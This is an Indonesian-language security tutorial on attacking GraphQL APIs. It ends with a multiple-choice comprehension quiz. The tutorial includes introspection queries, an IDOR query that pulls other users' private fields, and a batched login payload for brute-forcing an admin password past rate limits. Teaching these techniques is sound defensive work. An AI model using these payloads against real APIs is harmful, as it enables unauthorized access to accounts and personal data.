GraphQL Attacks
GraphQL adalah query language untuk API yang semakin populer. Implementasi yang tidak aman mengandung banyak celah unik yang berbeda dari REST API.
Introspection — Pemetaan API
# Query introspection untuk melihat semua schema
{
__schema {
types { name fields { name type { name } } }
}
}
# Cari query/mutation yang tersedia
{
__schema {
queryType { fields { name description } }
mutationType { fields { name description } }
}
}
GraphQL Injection
# IDOR via GraphQL
{
user(id: 2) { ← coba ID lain
email
creditCard
privateData
}
}
# Batch queries untuk bypass rate limit
[
{"query": "{ login(user:\"admin\", pass:\"pass1\") }"},
{"query": "{ login(user:\"admin\", pass:\"pass2\") }"},
...
]
GraphQL Specific Bugs
- Introspection enabled di production — Expose semua schema
- Batching attack — Bypass rate limit dengan batch query
- Deep query DoS — Query nested sangat dalam membebani server
- IDOR via field selection — Akses field yang seharusnya tidak authorized
// CEK PEMAHAMAN
Mengapa introspection yang aktif di production GraphQL dianggap vulnerability?
AMengekspos seluruh schema API termasuk endpoint tersembunyi yang tidak terdokumentasi
BMemungkinkan eksekusi query berbahaya secara langsung
CMenyebabkan SQL injection di database
DMembuat server crash karena overload